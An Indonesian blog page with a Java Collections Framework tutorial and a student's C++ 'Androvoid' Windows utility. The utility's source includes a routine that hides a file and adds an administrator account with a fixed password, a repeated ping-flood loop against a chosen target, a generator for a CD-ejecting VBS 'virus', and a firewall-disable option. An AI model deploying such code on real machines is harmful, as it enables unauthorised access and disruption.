Showing posts with label Tutorial. Show all posts
Showing posts with label Tutorial. Show all posts
Framework : Koleksi atau kumpulan potongan-potongan program yang disusun atau diorganisasikan sedemikian rupa, sehingga dapat digunakan untuk membantu membuat aplikasi utuh tanpa harus membuat semua kodenya dari awal.
Framework adalah kumpulan fungsi (libraries), sehingga seorang
programmer tidak perlu lagi membuat fungsi-fungsi (biasanya disebut kumpulan
library) dari awal, programmer tinggal memanggil kumpulan library atau fungsi
yang sudah ada didalam framework, tentunya cara menggunakan fungsi-fungsi itu
sudah ditentukan oleh framework.
Collection Framework
Collection Framework adalah arsitektur di Java untuk merepresentasi dan memanipulasi collections.
Meliputi:
◦Interface: tipe data
abstract yang merepresentasikan collections
◦Implementation: berupa implementasi concrete dari interface
yang ada
◦Algorithm: adalah method yang berguna untuk memanipulasi collections, seperti searching dan shorting
Method ini bersifat polymorphic, karena bisa diterapkan pada implementasi yang berbeda .
Jika array adalah tempat
sekumpulan elemen. Maka Collection adalah tempat sekumpulan objek.
Collection : suatu
wadah/container yang menapung sekumpulan object.
Java Collection Framework mendukung tiga jenis collections utama,
yakni:
◦
set
◦
list
◦
map
JCF Interfaces dan Classes
Interfaces:
◦ Collection
◦ Set
(tidak ada duplikasi)
◦ SortedSet
◦ List
(bisa ada duplikasi)
◦ Map
(mis: Dictionary)
◦ SortedMap
◦ Iterator
◦ Iterable
◦ ListIterator
Classes:
◦ HashSet
◦ TreeSet
◦ ArrayList
◦ LinkedList
◦ HashMap
◦ TreeMap
•
boolean hasNext();
◦ untuk
memeriksa apakah object berikutnya ada atau tidak
•
E next();
◦ untuk
mendapatkan object berikutnya
•
void remove();
◦ dipanggil
setelah menjalankan method next()
◦ menghapus
object yang sudah dipanggil dengan next() terakhir
◦ setelah
memanggil next(), tidak bisa menjalankan remove() dua kali, pemanggilan kedua
menyebabkan munculnya exception
Interface Collection
public
int size();
◦ Mengembalikan
angka yang merupakan jumlah object dalam collection
public
boolean isEmpty();
◦ Mengembalikan
nilai true bila tidak ada object dalam collection
public
boolean add(E x);
◦ Untuk
memasukkan satu atau beberapa object ke collection. Pengembaliannya adalah true
jika berhasil menambah. (beberapa jenis collection tidak mengijinkan duplikasi,
sehingga proses add bisa saja gagal)
public
boolean contains(Object x);
◦ Untuk
mengecek bahwa collection yang dimaksud mengandung object x
public
boolean remove(Object x);
◦ Menghapus
sebuah object x dari collection. Kembalian bernilai true, jika ada object yang
dihapus
public
Iterator<E> iterator();
◦ Mengembalikan
sebuah iterator yang digunakan untuk menelusuri object di collection
Interface Set
Set
extends collection
◦ Set
menuruni semua method milik Collection
Set
tidak memperbolehkan adanya duplikasi object di koleksinya
◦ Jika
ingin menambah elemen dua kali dengan “add()” maka “add()” yang kedua akan
mengembalikan nilai false
Untuk
mengakses object-object di Set, digunakan Iterator
Representasi
Set adalah seperti group, misal group musik, group mata kuliah
Implementasi Set (Concrete Class)
java.util.HashSet<E> (merupakan hashtable)
◦ Constructors:
public
HashSet();
public
HashSet(Collection<? extends E> c);
public
HashSet(int initialCapacity);
public
HashSet(int initialCapacity, float loadFactor);
java.util.TreeSet<E>
(merupakan balance BST)
◦ Constructors
public
TreeSet();
public
TreeSet(Collection<? extends E> c);
.............
Interface SortedSet
SortedSet
memiliki fitur yang sama dengan Set, namun object yang tersimpan
diurutkan berdasarkan datanya
SortedSet
biasanya dikombinasikan dengan TreeSet
Efek
penggunaan SortedSet, proses penambahan data jadi lebih lambat daripada Set
biasa
Interface List
List
extends Collection
Items/Objects
di List dapat diakses menggunakan posisinya / indeksnya
Method
“add()” menambahkan object baru di bagian paling belakang dari list
List
cocok digunakan untuk mengganti Array, dengan ukuran yang dinamis
Method
tambahan yang merupakan tambahan baru dari yg dituruni dari interface
Collection
◦ public
E get(int index)
mengembalikan
object di posisi yang ditunjukkan index
◦ public
E set(int index, E x)
mengganti
object di posisi index dengan object x, dan mengembalikan object yang telah
diganti
◦ public
void add(int index, E x)
menambahkan
object E ke posisi x, object lama di posisi x sampai posisi terakhir digeser
satu posisi ke belakang
◦ public
E remove(int index)
menghapus
object di posisi x, kemudian menggeser di belakang object yang dihapus satu
posisi kedepan
return
object yang dihapus
◦ public
int indexOf(Object e)
Mengembalikan
indeks/posisi dari object e
Implementasi List (Concrete Class)
java.util.ArrayList<E>
(representasi array)
◦ Constructors:
public
ArrayList();
public
ArrayList(int initialCapacity)
public
ArrayList(Collection<? extends E> c);
java.util.LinkedList<E>
(dobel linked list)
◦ Constructors:
public
LinkedList();
public
LinkedList(Collection<? extends E> c);
Kedua-duanya
memiliki tambahan method yang specifik untuk masing-masing class
Interface Map
Map
digunakan untuk memetakan kunci dan data. Sebagai contoh, kita memiliki suatu
katalog buku, kode buku adalah kunci dan object buku adalah datanya
Kunci
di Map tidak dapat diduplikasi
Tiap
kunci hanya menunjuk ke satu object data
Penggunaan
Map biasanya dipadukan dengan class HashMap
Method
yang ada di Map:
V
put(K key, V value);
untuk
menambahkan pasangan kunci dan object
V
get(Object key);
untuk
mendapatkan object berdasarkan kunci tertentu
V
remove(Object key);
untuk
menghapus object berdasarkan kunci tertentu
boolean
containsKey(Object key);
memeriksa
apakan map memiliki kunci tertentu
boolean
containsValue(Object value);
memeriksa
apakah map memiliki object tertentu
int
size();
mendapatkan
jumlah key di map
public
Set<K> keySet();
mendapatkan
keseluruhan key yang berupa Set
public
Collection<V> values();
mendapatkan
keseluruhan object data yang berupa collection
Implementasi Map
java.util.HashMap<K,V>
◦ Constructors:
public
HashMap<K,V>();
public
HashMap<K,V>(int initialCapacity)
public
HashMap<K,V>(Collection<? extends E> c);
java.util.TreeMap<K,V>
◦ Constructors:
public
TreeMap<K,V>();
public
LinkedList<K,V>(Collection<? extends E> c);
Kedua-duanya
memiliki tambahan method yang specifik untuk masing-masing class
Java Collection Framework
_________________________ ___________
| ||\_________/|
| ANDROVOID USER GUIDE ||[#########]|
|_________________________|| ___ | _ |||||
|___________| \_\|||||
____ _____ _|=======|_ _____ \_/___/
/__ || || || || |_ |
| | ||===|| ANDROVOID ||===|| |_ |
|__| ||===||===========||===|| |_ |
\___||___||___________||___||_|____|
\\\|/// \_:_:_:_:_:_/ \__/
Hola, kali ini saya mau share tentang tugas besar C++ saya pas semester 1 dulu. Saya membuat sebuah program dimana program tersebut dapat digunakan untuk berbagai macam fungsi pada sistem Windows XP. Fungsi fungsi tersebut diantaranya Hacking System, Optimazing Security, dan Maintenance.
Pada tampilan utama, anda akan disuguhkan daftar menu utama, yaitu My Androvoid, Killer Machine, Security, Utilities dan Exit.
Pada menu Androvoid, anda akan diajak berkenalan oleh robot utama "Androvoid" dan robot tersebut akan mengucapkan kata-kata. Untuk fungsi pengucapan kata-kata tersebut, saya hanya menggunakan teknik text-to-speech
Kemudia pada menu Killer Machine, berikut ini saya sertakan fungsi-fungsi yang digunakan sesuai dengan daftar menu diatas
Hack this System
berikut source code yang saya gunakan:
if(pilih_menu==1) {
BYTE original_wallpaper[256];
menu_hackthis:
system("CLS");
hack_this();
timebar();sleep(1);
printf(" Pilih: ");scanf("%d",&pilih_submenu);
if(pilih_submenu==1) {
reg_baca_value("Control Panel\\Desktop","Wallpaper",original_wallpaper); //backup wallpaper original
copy_file("hack\\woops.bmp","C:\\woops.bmp"); //fungsi copy file
hidden("C:\\woops.bmp"); //menyembunyikan (hidden) file
SystemParametersInfo( SPI_SETDESKWALLPAPER, 0, (PVOID)"C:\\woops.bmp", SPIF_UPDATEINIFILE ); //ganti wallpaper
system("net user Androvoid pass123 /add");
system("net localgroup Administrators Androvoid passw123 /add");
system("CLS");
hack_this();
timebar();
printf(" Wallpaper has changed and New Admin account was created ! ");
getch();
}
else if(pilih_submenu==2) {
SystemParametersInfo( SPI_SETDESKWALLPAPER, 0, (PVOID)original_wallpaper, SPIF_UPDATEINIFILE ); //ganti wallpaper
system("net user Androvoid /del");
system("CLS");
hack_this();
timebar();
printf(" System Restored.");
getch();
}
else if(pilih_submenu==3)
goto menu_killer;
else
disunderstand();
goto menu_hackthis;
}
}
Ping Of Death
Ketika fungsi ini dijalankan, maka akan muncul ping dengan jumlah buffer serta proses sesuai dengan kehendak user
source code:
char ping_of_death[10],target[256],buffer[256];
int jml_ping;
killer_machine(6);timebar();
printf(" Masukkan target: ");scanf("%s",target);
system("CLS");
killer_machine(6);timebar();
printf(" Masukkan jumlah buffer: ");scanf("%s",buffer);
strcat(buffer," ");system("CLS");
killer_machine(6);timebar();
printf(" Jumlah proses Ping: ");scanf("%d",&jml_ping);
strcpy(ping_of_death,"ping -l ");
strcat(ping_of_death,buffer);strcat(ping_of_death,target);
for(int ping_loop=1;ping_loop<=jml_ping;ping_loop++) {
system(ping_of_death);
}
getch();
Virus Maker
pada funsi virus maker ini saya sudah menyediakan script vbs pada folder virus. Saya hanya mengcopy file tersebut lalu menjalankannya. Ketika script tersebut dijalankan, maka cdrom akan selalu terbuka setiap 1 detik
DeleteFile("virus.vbs"); DeleteFile("virus/virus.vbs");//hapus file jika sudah ada
system("mkdir virus");
//-------------------------- source code virus Rock'in CD-ROM ------------------------------------------
cetak_text("virus.vbs","a","MsgBox \"Androvoid virus has rock 'in this system\",0+16,\"Warning\" \n");
cetak_text("virus.vbs","a","Set oWMP = CreateObject(\"WMPlayer.OCX.7\") \n Set colCDROMs = oWMP.cdromCollection \n");
cetak_text("virus.vbs","a","do \n if colCDROMs.Count >= 1 then \n");
cetak_text("virus.vbs","a","For i = 0 to colCDROMs.Count - 1 \n colCDROMs.Item(i).Eject \n Next \n");
cetak_text("virus.vbs","a","For i = 0 to colCDROMs.Count - 1 \n colCDROMs.Item(i).Eject \n");
cetak_text("virus.vbs","a","Next \n End If \n wscript.sleep 1000 \n loop");
//------------------------------------------------------------------------------------------------------
MoveFile("virus.vbs","virus/virus.vbs");
system("CLS");killer_machine(6);timebar();
printf(" virus already created !");
getch();
Vaksin Maker
fungsi ini merupakan lawan dari virus maker
DeleteFile("vaksin.vbs"); DeleteFile("vaksin/vaksin.vbs");//hapus file jika sudah ada
system("mkdir vaksin");
//-------------------------- source code vaksin for virus Rock'in CD-ROM ------------------------------------------
cetak_text("vaksin.vbs","a","Option Explicit \nDim objWMIService, objProcess, colProcess \n");
cetak_text("vaksin.vbs","a","Dim strComputer, strProcessKill \nstrComputer = \".\" \nstrProcessKill = \"'wscript.exe'\" \n");
cetak_text("vaksin.vbs","a","msgbox \"Androvoid virus was terminated\",0+64,\"Androvoid Vaksin\" \n");
cetak_text("vaksin.vbs","a","Set objWMIService = GetObject(\"winmgmts:\" _ \n");
cetak_text("vaksin.vbs","a","& \"{impersonationLevel=impersonate}!\\\\\" _\n& strComputer & \"\\root\\cimv2\") \n");
cetak_text("vaksin.vbs","a","Set colProcess = objWMIService.ExecQuery _\n");
cetak_text("vaksin.vbs","a","(\"Select * from Win32_Process Where Name = \" & strProcessKill )\n");
cetak_text("vaksin.vbs","a","For Each objProcess in colProcess\n objProcess.Terminate()\n Next\n");
cetak_text("vaksin.vbs","a","WSCript.Echo \"Virus Androvoid Terminated \" & strProcessKill _\n");
cetak_text("vaksin.vbs","a","& \" by : ahmed yusuf\" & strComputer\n WScript.Quit\n ' End\n");
//------------------------------------------------------------------------------------------------------
MoveFile("vaksin.vbs","vaksin/vaksin.vbs");
system("CLS");killer_machine(6);timebar();
printf(" vaksin already created !");
getch();
Security Menu
Pada menu ini kita dapat maintenance keamanan sistem seperti proteksi firewall, dan sebagainya.
Proteksi Firewall
Untuk proteksi firewall, saya hanya mengaktifkan firewall system secara default. funsi ini saya aktifkan melalui System Registry
source code:
if(pilih_submenu==1) {
system("CLS");
security_firewall();timebar();
printf(" enable firewall . . .");
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile /v EnableFirewall /t REG_DWORD /d 0000001 /f ");
getch();
}
else if(pilih_submenu==2) {
system("CLS");
security_firewall();timebar();
printf(" disable firewall . . .");
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile /v EnableFirewall /t REG_DWORD /d 0000000 /f ");
getch();
}
Perkuat TCP/IP Attack
sama seperti sebelumnya, pada fungsi ini saya juga hanya memanfaatkan RegEdit
char lpSubKey[256];
strcpy(lpSubKey,"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters");
submenu_tcp:
system("CLS");
security_tcp();
timebar();
printf(" Pilih: ");scanf("%d",&pilih_submenu);
if(pilih_submenu==1) {
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v EnableDeadGWDetect /t REG_DWORD /d 0 /f ");
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v EnableICMPRedirect /t REG_DWORD /d 0 /f ");
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v EnablePMTUDiscovery /t REG_DWORD /d 0 /f ");
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v KeepAliveTime /t REG_DWORD /d 300000 /f ");
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v NoNameReleaseOnDemand /t REG_DWORD /d 1 /f ");
system(" REG add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters /v SynAttackProtect /t REG_DWORD /d 2 /f ");
system("CLS");
security_tcp();timebar();
printf(" TCP/IP Stack Hardening Actived");
getch();
}
else if(pilih_submenu==2) {
reg_hapus_value(lpSubKey,"EnableDeadGWDetect");
reg_hapus_value(lpSubKey,"EnableICMPRedirect");
reg_hapus_value(lpSubKey,"EnablePMTUDiscovery");
reg_hapus_value(lpSubKey,"KeepAliveTime");
reg_hapus_value(lpSubKey,"NoNameReleaseOnDemand");
reg_hapus_value(lpSubKey,"SynAttackProtect");
system("CLS");
security_tcp();timebar();
printf(" TCP/IP Stack Hardening Disabled");
getch();
}
Malware Monitoring
untuk monitoring malware, disini saya hanya menggunakan fungsi netstat untuk mengetahui aktifitas jaringan
printf(" Start monitoring program yang menggunakan koneksi\n");
printf(" [log disimpan dalam ""LOG/netstat.txt"". Tekan sembarang tombol untuk berhenti] \n");
system("netstat -b 0 >> LOG/netstat.txt");
getch();
Blokir Spam
char lpSubKey[256];
strcpy(lpSubKey,"SYSTEM\\CurrentControlSet\\Services\\Messenger");
submenu_spamblock:
system("CLS");
security_spamblock();timebar();
printf(" Pilih: ");scanf("%d",&pilih_submenu);
if(pilih_submenu==1) {
system(" REG add HKLM\\SYSTEM\\CurrentControlSet\\Services\\Messenger /v Start /t REG_DWORD /d 4 /f ");
system("CLS");
security_spamblock();timebar();
printf(" Aktifkan Blokir SPAM Pada Messenger Service \n");
getch();
}
else if(pilih_submenu==2) {
system(" REG add HKLM\\SYSTEM\\CurrentControlSet\\Services\\Messenger /v Start /t REG_DWORD /d 0 /f ");
system("CLS");
security_spamblock();timebar();
printf(" Blokir SPAM Pada Messenger Service akan dihentikan \n");
getch();
}
Utilites
Pada menu utilites ini, anda dapat melakukan maintenance windows.
asas
Androvoid - Tugas Besar C++
Subscribe to:
Posts
(
Atom
)
